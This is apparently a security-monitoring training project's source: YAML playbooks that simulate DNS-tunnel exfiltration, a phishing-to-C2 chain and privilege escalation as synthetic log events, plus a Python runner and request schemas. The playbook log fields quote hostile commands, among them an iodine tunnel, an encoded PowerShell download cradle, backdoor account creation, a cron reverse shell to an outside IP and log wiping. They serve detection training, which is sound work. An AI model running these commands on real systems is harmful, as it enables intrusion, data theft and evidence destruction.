message: DNS tunneling tool iodine started for exfiltration
process_name: iodine
process_id: 8345
parent_process: bash
command_line: iodine -f -P s3cretK3y data.exfil-tunnel.tk 10.0.0.53
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 1.0
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling query with high-entropy subdomain encoding
query: 4d5a90000300000004000000ffff0000b800.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 0.1
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling data chunk transmission
query: b8000000000000004000000000000000.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 0.1
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling data chunk transmission
query: 0e1fba0e00b409cd21b8014ccd215468.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 0.1
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling data chunk transmission
query: 69732070726f6772616d2063616e6e6f.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 0.1
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling data chunk transmission
query: 7420626520727566efbfbd206e20444f.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 0.1
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling data chunk transmission
query: 53206d6f64652e0d0d0a24000000efbf.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 0.1
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling data chunk transmission
query: bd00000000efbfbdefbfbdefbfbd0000.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 0.1
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling data chunk transmission
query: efbfbd000000efbfbd000000efbfbd00.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 2.0
source_type: ids
event_type: ids_alert
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ids-sensor-01
message: DNS tunneling activity detected from excessive TXT queries
signature_id: 2027863
signature_name: ET DNS Potential DNS Tunneling TXT Query High Frequency
classification: policy-violation
priority: 1
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 3.0
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-compromised
message: DNS tunneling final data chunk and session teardown
query: efbfbd000000efbfbdff00006efbfbd0.data.exfil-tunnel.tk
query_type: TXT
response_code: NOERROR
mitre_tactic: TA0010
mitre_technique: T1048.003
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-compromised
username: jdoe
message: Staged data and tunneling artifacts cleaned up
process_name: rm
process_id: 8401
parent_process: bash
command_line: rm -rf /tmp/exfil/ /tmp/.data.tar.gz
mitre_tactic: TA0005
mitre_technique: T1070.004

View File

@ -0,0 +1,315 @@
# ©AngelaMos | 2026
# phishing_c2.yml
name: Phishing to C2 Beaconing
description: >
Simulates a spear-phishing attack where a user opens a malicious
macro-enabled attachment, triggering PowerShell download cradle
execution, establishing persistent HTTP-based C2 beaconing, and
performing discovery and data staging. Based on Emotet/TrickBot
delivery patterns observed in TA542 campaigns.
mitre_tactics:
- TA0001
- TA0002
- TA0011
- TA0007
- TA0009
mitre_techniques:
- T1566.001
- T1204.002
- T1059.001
- T1071.001
- T1573.002
events:
- delay_seconds: 1.0
source_type: proxy
event_type: http_request
source_ip: 10.0.1.50
dest_ip: 198.51.100.77
source_port: 52301
dest_port: 443
hostname: proxy-01
username: jdoe
message: User clicked phishing link from spoofed email
url: https://secure-docshare.example.com/invoice/view?id=8a3f
method: GET
status_code: 302
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
content_type: text/html
bytes_transferred: 1247
mitre_tactic: TA0001
mitre_technique: T1566.002
- delay_seconds: 0.5
source_type: proxy
event_type: http_request
source_ip: 10.0.1.50
dest_ip: 198.51.100.77
source_port: 52302
dest_port: 443
hostname: proxy-01
username: jdoe
message: Redirect to malicious macro-enabled document download
url: https://secure-docshare.example.com/dl/Invoice_Feb2026.xlsm
method: GET
status_code: 200
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
content_type: application/vnd.ms-excel.sheet.macroEnabled.12
bytes_transferred: 48210
mitre_tactic: TA0001
mitre_technique: T1566.001
- delay_seconds: 5.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-jdoe
username: jdoe
message: User opened macro-enabled spreadsheet
process_name: EXCEL.EXE
process_id: 3284
parent_process: explorer.exe
command_line: EXCEL.EXE /e "C:\Users\jdoe\Downloads\Invoice_Feb2026.xlsm"
file_path: C:\Users\jdoe\Downloads\Invoice_Feb2026.xlsm
mitre_tactic: TA0002
mitre_technique: T1204.002
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-jdoe
username: jdoe
message: Macro spawned cmd.exe child process from Excel
process_name: cmd.exe
process_id: 4102
parent_process: EXCEL.EXE
command_line: cmd.exe /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA
mitre_tactic: TA0002
mitre_technique: T1059.003
- delay_seconds: 1.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-jdoe
username: jdoe
message: Encoded PowerShell download cradle executed
process_name: powershell.exe
process_id: 4156
parent_process: cmd.exe
command_line: powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA
mitre_tactic: TA0002
mitre_technique: T1059.001
- delay_seconds: 2.0
source_type: proxy
event_type: http_request
source_ip: 10.0.1.50
dest_ip: 203.0.113.88
source_port: 52410
dest_port: 443
hostname: proxy-01
username: jdoe
message: PowerShell downloading second-stage payload
url: https://cdn-update-service.example.net/assets/update.exe
method: GET
status_code: 200
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
content_type: application/octet-stream
bytes_transferred: 245760
mitre_tactic: TA0002
mitre_technique: T1105
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-jdoe
username: jdoe
message: Second-stage payload executed from temp directory
process_name: update.exe
process_id: 4201
parent_process: powershell.exe
command_line: C:\Users\jdoe\AppData\Local\Temp\update.exe
file_path: C:\Users\jdoe\AppData\Local\Temp\update.exe
mitre_tactic: TA0002
mitre_technique: T1204.002
- delay_seconds: 3.0
source_type: dns
event_type: dns_query
source_ip: 10.0.1.50
dest_ip: 10.0.0.53
hostname: ws-jdoe
message: C2 domain resolution via DGA-like subdomain
query: r4d58hj3c.cdn-services.example.net
query_type: A
response: 203.0.113.99
response_code: NOERROR
mitre_tactic: TA0011
mitre_technique: T1071.004
- delay_seconds: 1.0
source_type: firewall
event_type: connection_allowed
source_ip: 10.0.1.50
dest_ip: 203.0.113.99
source_port: 53401
dest_port: 443
hostname: fw-edge-01
message: Outbound HTTPS to C2 infrastructure
action: allow
protocol: tcp
rule_name: outbound-https
mitre_tactic: TA0011
mitre_technique: T1071.001
- delay_seconds: 5.0
source_type: proxy
event_type: c2_communication
source_ip: 10.0.1.50
dest_ip: 203.0.113.99
source_port: 53401
dest_port: 443
hostname: proxy-01
message: C2 beacon initial check-in with host fingerprint
url: https://cdn-services.example.net/api/v1/register
method: POST
status_code: 200
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
content_type: application/json
bytes_transferred: 512
mitre_tactic: TA0011
mitre_technique: T1071.001
- delay_seconds: 10.0
source_type: proxy
event_type: c2_communication
source_ip: 10.0.1.50
dest_ip: 203.0.113.99
source_port: 53402
dest_port: 443
hostname: proxy-01
message: C2 beacon heartbeat at regular interval
url: https://cdn-services.example.net/api/v1/status
method: POST
status_code: 200
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
content_type: application/json
bytes_transferred: 256
mitre_tactic: TA0011
mitre_technique: T1071.001
- delay_seconds: 10.0
source_type: proxy
event_type: c2_communication
source_ip: 10.0.1.50
dest_ip: 203.0.113.99
source_port: 53403
dest_port: 443
hostname: proxy-01
message: C2 beacon with tasking response received
url: https://cdn-services.example.net/api/v1/tasks
method: GET
status_code: 200
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
content_type: application/json
bytes_transferred: 1893
mitre_tactic: TA0011
mitre_technique: T1071.001
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-jdoe
username: jdoe
message: Discovery commands executed via C2 tasking
process_name: cmd.exe
process_id: 5102
parent_process: update.exe
command_line: cmd.exe /c whoami /all & net user & net group "Domain Admins" /domain
mitre_tactic: TA0007
mitre_technique: T1087.002
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-jdoe
username: jdoe
message: Network share enumeration for data staging
process_name: net.exe
process_id: 5118
parent_process: update.exe
command_line: net.exe view \\FILE-SERVER-01 /all
mitre_tactic: TA0007
mitre_technique: T1135
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-jdoe
username: jdoe
message: Scheduled task created for persistence
process_name: schtasks.exe
process_id: 5134
parent_process: update.exe
command_line: schtasks.exe /create /sc minute /mo 10 /tn "WindowsUpdate" /tr "C:\Users\jdoe\AppData\Local\Temp\update.exe" /f
mitre_tactic: TA0003
mitre_technique: T1053.005
- delay_seconds: 4.0
source_type: endpoint
event_type: file_access
source_ip: 10.0.1.50
hostname: ws-jdoe
username: jdoe
message: Sensitive documents staged in temp directory for exfiltration
process_name: powershell.exe
process_id: 5201
parent_process: update.exe
command_line: Compress-Archive -Path C:\Users\jdoe\Documents\*.xlsx,C:\Users\jdoe\Documents\*.docx -DestinationPath C:\Users\jdoe\AppData\Local\Temp\archive.zip
file_path: C:\Users\jdoe\AppData\Local\Temp\archive.zip
mitre_tactic: TA0009
mitre_technique: T1074.001
- delay_seconds: 5.0
source_type: proxy
event_type: c2_communication
source_ip: 10.0.1.50
dest_ip: 203.0.113.99
source_port: 53410
dest_port: 443
hostname: proxy-01
message: Data exfiltration via C2 channel with large upload
url: https://cdn-services.example.net/api/v1/upload
method: POST
status_code: 200
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
content_type: application/octet-stream
bytes_transferred: 3458731
mitre_tactic: TA0010
mitre_technique: T1041
- delay_seconds: 10.0
source_type: proxy
event_type: c2_communication
source_ip: 10.0.1.50
dest_ip: 203.0.113.99
source_port: 53411
dest_port: 443
hostname: proxy-01
message: C2 beacon continues after exfiltration
url: https://cdn-services.example.net/api/v1/status
method: POST
status_code: 200
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
content_type: application/json
bytes_transferred: 256
mitre_tactic: TA0011
mitre_technique: T1071.001

View File

@ -0,0 +1,307 @@
# ©AngelaMos | 2026
# privilege_escalation.yml
name: Privilege Escalation and Persistence
description: >
Simulates a compromised service account that performs system
enumeration, exploits a kernel vulnerability for root access,
creates a backdoor admin account, installs a cron-based reverse
shell for persistence, and covers tracks by clearing logs. Based
on PrintNightmare-style exploitation patterns.
mitre_tactics:
- TA0004
- TA0003
- TA0005
- TA0007
mitre_techniques:
- T1068
- T1136.001
- T1053.005
- T1070.002
events:
- delay_seconds: 1.0
source_type: auth
event_type: login_success
source_ip: 10.1.3.25
dest_ip: 10.1.2.10
hostname: app-server-01
username: svc-webapp
message: Normal service account login via SSH
auth_method: publickey
result: success
service: sshd
mitre_tactic: TA0001
mitre_technique: T1078.003
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: svc-webapp
message: System information enumeration
process_name: uname
process_id: 12301
parent_process: bash
command_line: uname -a
mitre_tactic: TA0007
mitre_technique: T1082
- delay_seconds: 1.5
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: svc-webapp
message: Kernel version check for exploit matching
process_name: cat
process_id: 12310
parent_process: bash
command_line: cat /proc/version
file_path: /proc/version
mitre_tactic: TA0007
mitre_technique: T1082
- delay_seconds: 1.5
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: svc-webapp
message: SUID binary discovery for privilege escalation vectors
process_name: find
process_id: 12315
parent_process: bash
command_line: find / -perm -4000 -type f 2>/dev/null
mitre_tactic: TA0007
mitre_technique: T1083
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: svc-webapp
message: Current user privilege enumeration
process_name: id
process_id: 12320
parent_process: bash
command_line: id && sudo -l 2>/dev/null
mitre_tactic: TA0007
mitre_technique: T1033
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: svc-webapp
message: Writable directory discovery for exploit staging
process_name: find
process_id: 12330
parent_process: bash
command_line: find /tmp /var/tmp /dev/shm -writable -type d 2>/dev/null
mitre_tactic: TA0007
mitre_technique: T1083
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: svc-webapp
message: Exploit source code compiled on target host
process_name: gcc
process_id: 12340
parent_process: bash
command_line: gcc -o /tmp/.exploit /tmp/.exploit.c -lpthread
file_path: /tmp/.exploit
mitre_tactic: TA0004
mitre_technique: T1068
- delay_seconds: 1.5
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: svc-webapp
message: Kernel exploit binary executed
process_name: .exploit
process_id: 12355
parent_process: bash
command_line: /tmp/.exploit
file_path: /tmp/.exploit
mitre_tactic: TA0004
mitre_technique: T1068
- delay_seconds: 2.0
source_type: endpoint
event_type: privilege_escalation
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: Privilege escalation to root via kernel exploit
process_name: bash
process_id: 12360
parent_process: .exploit
command_line: /bin/bash -p
mitre_tactic: TA0004
mitre_technique: T1068
- delay_seconds: 2.0
source_type: ids
event_type: ids_alert
source_ip: 10.1.2.10
hostname: ids-sensor-02
message: Privilege escalation detected on application server
signature_id: 2100366
signature_name: ET POLICY Potential Privilege Escalation
classification: attempted-admin
priority: 1
mitre_tactic: TA0004
mitre_technique: T1068
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: Backdoor admin account created with sudo privileges
process_name: useradd
process_id: 12378
parent_process: bash
command_line: useradd -m -G sudo -s /bin/bash sysadm1n
mitre_tactic: TA0003
mitre_technique: T1136.001
- delay_seconds: 1.0
source_type: auth
event_type: account_created
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: New local account sysadm1n added to sudo group
auth_method: local
result: success
service: useradd
mitre_tactic: TA0003
mitre_technique: T1136.001
- delay_seconds: 1.5
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: Password set for backdoor admin account
process_name: chpasswd
process_id: 12385
parent_process: bash
command_line: echo sysadm1n:P@ssw0rd123 | chpasswd
mitre_tactic: TA0003
mitre_technique: T1136.001
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: SSH authorized key installed for passwordless backdoor access
process_name: bash
process_id: 12395
parent_process: bash
command_line: mkdir -p /home/sysadm1n/.ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAA..." > /home/sysadm1n/.ssh/authorized_keys
file_path: /home/sysadm1n/.ssh/authorized_keys
mitre_tactic: TA0003
mitre_technique: T1098.004
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: Reverse shell cron job installed for persistent access
process_name: crontab
process_id: 12401
parent_process: bash
command_line: (crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.42/4444 0>&1'") | crontab -
mitre_tactic: TA0003
mitre_technique: T1053.005
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: Exploit binary and source removed to cover tracks
process_name: rm
process_id: 12430
parent_process: bash
command_line: rm -f /tmp/.exploit /tmp/.exploit.c
mitre_tactic: TA0005
mitre_technique: T1070.004
- delay_seconds: 1.5
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: Authentication log cleared to destroy evidence
process_name: truncate
process_id: 12445
parent_process: bash
command_line: truncate -s 0 /var/log/auth.log
file_path: /var/log/auth.log
mitre_tactic: TA0005
mitre_technique: T1070.002
- delay_seconds: 1.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.10
hostname: app-server-01
username: root
message: Syslog cleared to remove traces
process_name: truncate
process_id: 12450
parent_process: bash
command_line: truncate -s 0 /var/log/syslog
file_path: /var/log/syslog
mitre_tactic: TA0005
mitre_technique: T1070.002
- delay_seconds: 5.0
source_type: firewall
event_type: connection_allowed
source_ip: 10.1.2.10
dest_ip: 203.0.113.42
source_port: 48901
dest_port: 4444
hostname: fw-edge-01
message: Outbound reverse shell connection from cron backdoor
action: allow
protocol: tcp
rule_name: outbound-general
mitre_tactic: TA0011
mitre_technique: T1571
- delay_seconds: 1.0
source_type: ids
event_type: ids_alert
source_ip: 10.1.2.10
dest_ip: 203.0.113.42
hostname: ids-sensor-01
message: Reverse shell connection detected on non-standard port
signature_id: 2024897
signature_name: ET ATTACK_RESPONSE Possible Reverse Shell
classification: trojan-activity
priority: 1
mitre_tactic: TA0011
mitre_technique: T1571

View File

@ -0,0 +1,252 @@
"""
©AngelaMos | 2026
runner.py
"""
import random
import threading
import time
from dataclasses import dataclass, field
from pathlib import Path
from typing import Any
import structlog
from app.config import settings
from app.core.streaming import publish_event
from app.engine.normalizer import normalize
from app.engine.severity import classify
from app.models.LogEvent import LogEvent
from app.models.ScenarioRun import ScenarioRun
from app.scenarios.playbook import Playbook
logger = structlog.get_logger()
JITTER_FACTOR = 0.2
@dataclass
class ScenarioThread:
"""
A daemon thread that plays back a single scenario playbook
"""
run_id: str
playbook: Playbook
thread: threading.Thread = field(init = False)
stop_event: threading.Event = field(default_factory = threading.Event)
pause_event: threading.Event = field(default_factory = threading.Event)
speed: float = 1.0
def __post_init__(self) -> None:
self.pause_event.set()
self.thread = threading.Thread(
target = self._run,
daemon = True,
name = f"scenario-{self.run_id}",
)
def start(self) -> None:
"""
Start the playback thread
"""
self.thread.start()
def stop(self) -> None:
"""
Signal the thread to stop
"""
self.stop_event.set()
self.pause_event.set()
def pause(self) -> None:
"""
Pause playback until resumed
"""
self.pause_event.clear()
def resume(self) -> None:
"""
Resume paused playback
"""
self.pause_event.set()
def _run(self) -> None:
"""
Iterate through playbook events with delay and jitter
"""
try:
run = ScenarioRun.get_by_id(self.run_id)
for event in self.playbook.events:
if self.stop_event.is_set():
break
self.pause_event.wait()
if self.stop_event.is_set():
break
delay = event.delay_seconds / self.speed
jitter = delay * JITTER_FACTOR
actual_delay = max(0, delay + random.uniform(-jitter, jitter)) # noqa: S311
time.sleep(actual_delay)
if self.stop_event.is_set():
break
self._emit_event(event, run)
if self.stop_event.is_set():
run.mark_stopped()
else:
run.mark_completed()
except Exception:
logger.exception("scenario_thread_error", run_id=self.run_id)
try:
run = ScenarioRun.get_by_id(self.run_id)
run.mark_error(f"Thread crashed: check logs for run {self.run_id}")
except Exception:
logger.exception("scenario_error_update_failed", run_id=self.run_id)
finally:
ScenarioRunner.remove(self.run_id)
def _emit_event(self, event: Any, run: ScenarioRun) -> None:
"""
Normalize, persist, and publish a single playbook event
"""
raw = {
"source_type": event.source_type,
"event_type": event.event_type,
"source_ip": event.source_ip,
"dest_ip": event.dest_ip,
"source_port": event.source_port,
"dest_port": event.dest_port,
"hostname": event.hostname,
"username": event.username,
"mitre_tactic": event.mitre_tactic,
"mitre_technique": event.mitre_technique,
"message": event.message,
**event.extra,
}
raw = {k: v for k, v in raw.items() if v is not None}
normalized = normalize(raw)
severity = classify(normalized)
log_event = LogEvent.create_event(
**normalized,
severity = severity,
scenario_run_id = run.id,
mitre_tactic = event.mitre_tactic,
mitre_technique = event.mitre_technique,
)
publish_event(
settings.LOG_STREAM_KEY,
{
"id": str(log_event.id),
"timestamp": str(log_event.timestamp),
"source_type": log_event.source_type,
"severity": log_event.severity,
"event_type": log_event.event_type,
"source_ip": log_event.source_ip,
"dest_ip": log_event.dest_ip,
"hostname": log_event.hostname,
"username": log_event.username,
"scenario_run_id": str(run.id),
},
)
run.increment_events()
class ScenarioRunner:
"""
Singleton manager for active scenario threads
"""
_active: dict[str, ScenarioThread] = {} # noqa: RUF012
_lock = threading.Lock()
@classmethod
def start(cls, scenario_filename: str) -> ScenarioRun:
"""
Load a playbook and start a new scenario thread
"""
path = Path(settings.SCENARIO_PLAYBOOK_DIR) / scenario_filename
playbook = Playbook.load(path)
run = ScenarioRun.start_run(playbook.name)
thread = ScenarioThread(
run_id = str(run.id),
playbook = playbook,
)
with cls._lock:
cls._active[str(run.id)] = thread
thread.start()
return run
@classmethod
def stop(cls, run_id: str) -> None:
"""
Stop an active scenario thread
"""
with cls._lock:
thread = cls._active.get(run_id)
if thread:
thread.stop()
run = ScenarioRun.get_by_id(run_id)
run.mark_stopped()
@classmethod
def pause(cls, run_id: str) -> None:
"""
Pause an active scenario thread
"""
with cls._lock:
thread = cls._active.get(run_id)
if thread:
thread.pause()
run = ScenarioRun.get_by_id(run_id)
run.mark_paused()
@classmethod
def resume(cls, run_id: str) -> None:
"""
Resume a paused scenario thread
"""
with cls._lock:
thread = cls._active.get(run_id)
if thread:
thread.resume()
run = ScenarioRun.get_by_id(run_id)
run.mark_resumed()
@classmethod
def set_speed(cls, run_id: str, speed: float) -> None:
"""
Adjust the playback speed of an active scenario
"""
with cls._lock:
thread = cls._active.get(run_id)
if thread:
thread.speed = speed
run = ScenarioRun.get_by_id(run_id)
run.set_speed(speed)
@classmethod
def remove(cls, run_id: str) -> None:
"""
Remove a completed or stopped thread from the active map
"""
with cls._lock:
cls._active.pop(run_id, None)
@classmethod
def get_active_ids(cls) -> list[str]:
"""
Return IDs of all currently active scenario threads
"""
with cls._lock:
return list(cls._active.keys())

View File

@ -0,0 +1,4 @@
"""
©AngelaMos | 2026
__init__.py
"""

View File

@ -0,0 +1,27 @@
"""
©AngelaMos | 2026
admin.py
"""
from pydantic import BaseModel, Field
from app.config import settings
from app.models.User import UserRole
VALID_ROLES = [r.value for r in UserRole]
class AdminUpdateRoleRequest(BaseModel):
"""
Payload for changing a user role
"""
role: str = Field(pattern = f"^({'|'.join(VALID_ROLES)})$")
class AdminUserListParams(BaseModel):
"""
Query parameters for paginated user listing
"""
page: int = Field(default = 1, ge = 1)
per_page: int = Field(default = settings.DEFAULT_PAGE_SIZE, ge = 1, le = settings.MAX_PAGE_SIZE)

View File

@ -0,0 +1,31 @@
"""
©AngelaMos | 2026
alert.py
"""
from pydantic import BaseModel, Field
from app.config import settings
from app.models.Alert import AlertStatus
class AlertStatusUpdate(BaseModel):
"""
Schema for transitioning an alert to a new status
"""
status: AlertStatus
notes: str | None = None
class AlertQueryParams(BaseModel):
"""
Filters for listing alerts
"""
page: int = Field(default=1, ge=1)
per_page: int = Field(
default=settings.DEFAULT_PAGE_SIZE,
ge=1,
le=settings.MAX_PAGE_SIZE,
)
status: str | None = None
severity: str | None = None

View File

@ -0,0 +1,73 @@
"""
©AngelaMos | 2026
auth.py
"""
from pydantic import BaseModel, EmailStr, Field
from app.models.User import USERNAME_MIN, USERNAME_MAX
PASSWORD_MIN = 8
class RegisterRequest(BaseModel):
"""
Schema for user registration
"""
username: str = Field(
min_length = USERNAME_MIN,
max_length = USERNAME_MAX,
)
email: EmailStr
password: str = Field(min_length = PASSWORD_MIN)
class LoginRequest(BaseModel):
"""
Schema for user login
"""
username: str
password: str
class TokenResponse(BaseModel):
"""
JWT token returned after login or registration
"""
access_token: str
token_type: str = "bearer"
class UpdateProfileRequest(BaseModel):
"""
Self-service profile update validated by current password
"""
current_password: str
username: str | None = Field(
default = None,
min_length = USERNAME_MIN,
max_length = USERNAME_MAX,
)
email: EmailStr | None = None
password: str | None = Field(default = None, min_length = PASSWORD_MIN)
class UserResponse(BaseModel):
"""
Public user profile data
"""
id: str
username: str
email: str
role: str
is_active: bool
class UpdateProfileResponse(BaseModel):
"""
Updated profile with an optional refreshed token
"""
user: UserResponse
access_token: str | None = None
token_type: str = "bearer"

View File

@ -0,0 +1,32 @@
"""
©AngelaMos | 2026
dashboard.py
"""
from pydantic import BaseModel, Field
from app.config import settings
class TimelineParams(BaseModel):
"""
Query params for event timeline aggregation
"""
hours: int = Field(
default=settings.TIMELINE_DEFAULT_HOURS,
ge=1,
)
bucket_minutes: int = Field(
default=settings.TIMELINE_BUCKET_MINUTES,
ge=1,
)
class TopSourcesParams(BaseModel):
"""
Query params for top source IPs
"""
limit: int = Field(
default=settings.TOP_SOURCES_LIMIT,
ge=1,
)

View File

@ -0,0 +1,68 @@
"""
©AngelaMos | 2026
log_event.py
"""
from typing import Any
from pydantic import BaseModel, Field
from app.config import settings
class LogIngestRequest(BaseModel):
"""
Raw log event submitted for ingestion
"""
source_type: str
event_type: str | None = None
source_ip: str | None = None
dest_ip: str | None = None
source_port: int | None = None
dest_port: int | None = None
hostname: str | None = None
username: str | None = None
mitre_tactic: str | None = None
mitre_technique: str | None = None
message: str | None = None
metadata: dict[str, Any] | None = None
model_config = {"extra": "allow"}
class LogQueryParams(BaseModel):
"""
Filters for listing log events
"""
page: int = Field(default = 1, ge = 1)
per_page: int = Field(
default = settings.DEFAULT_PAGE_SIZE,
ge = 1,
le = settings.MAX_PAGE_SIZE,
)
source_type: str | None = None
severity: str | None = None
source_ip: str | None = None
event_type: str | None = None
class LogSearchParams(BaseModel):
"""
Parameters for full text log search
"""
q: str = Field(min_length = 1)
page: int = Field(default = 1, ge = 1)
per_page: int = Field(
default = settings.DEFAULT_PAGE_SIZE,
ge = 1,
le = settings.MAX_PAGE_SIZE,
)
class PivotParams(BaseModel):
"""
Query params for forensic pivot lookups
"""
ip: str | None = None
username: str | None = None
hostname: str | None = None

View File

@ -0,0 +1,105 @@
"""
©AngelaMos | 2026
rule.py
"""
from typing import Any, Literal
from pydantic import BaseModel, Field, model_validator
from app.config import settings
from app.models.CorrelationRule import RuleType
from app.models.LogEvent import Severity
class ThresholdConditions(BaseModel):
"""
Conditions for threshold-based correlation rules
"""
event_filter: dict[str, str]
threshold: int = Field(ge=1)
window_seconds: int = Field(ge=1)
group_by: str
class SequenceStep(BaseModel):
"""
A single step in a sequence correlation rule
"""
event_filter: dict[str, str]
count: int = Field(default=1, ge=1)
class SequenceConditions(BaseModel):
"""
Conditions for sequence-based correlation rules
"""
steps: list[SequenceStep] = Field(min_length=2)
window_seconds: int = Field(ge=1)
group_by: str
class AggregationConditions(BaseModel):
"""
Conditions for aggregation-based correlation rules
"""
event_filter: dict[str, str]
aggregation: Literal["count_distinct"]
aggregation_field: str
threshold: int = Field(ge=1)
window_seconds: int = Field(ge=1)
group_by: str
CONDITION_SCHEMAS: dict[RuleType, type[BaseModel]] = {
RuleType.THRESHOLD: ThresholdConditions,
RuleType.SEQUENCE: SequenceConditions,
RuleType.AGGREGATION: AggregationConditions,
}
class RuleCreateRequest(BaseModel):
"""
Schema for creating a new correlation rule
"""
name: str = Field(min_length=1)
description: str = ""
rule_type: RuleType
conditions: dict[str, Any]
severity: Severity
enabled: bool = True
mitre_tactic: str | None = None
mitre_technique: str | None = None
@model_validator(mode="after")
def validate_conditions(self) -> RuleCreateRequest:
"""
Validate conditions dict matches the expected structure for rule_type
"""
schema = CONDITION_SCHEMAS[self.rule_type]
schema.model_validate(self.conditions)
return self
class RuleUpdateRequest(BaseModel):
"""
Schema for updating an existing correlation rule
"""
name: str | None = None
description: str | None = None
conditions: dict[str, Any] | None = None
severity: Severity | None = None
enabled: bool | None = None
mitre_tactic: str | None = None
mitre_technique: str | None = None
class RuleTestRequest(BaseModel):
"""
Schema for testing a rule against historical events
"""
hours: int = Field(
default=settings.TIMELINE_DEFAULT_HOURS,
ge=1,
le=settings.RULE_TEST_MAX_HOURS,
)

View File

@ -0,0 +1,25 @@
"""
©AngelaMos | 2026
scenario.py
"""
from pydantic import BaseModel, Field
from app.config import settings
class ScenarioStartRequest(BaseModel):
"""
Request to start a scenario playbook by filename
"""
filename: str = Field(min_length = 1)
class SpeedRequest(BaseModel):
"""
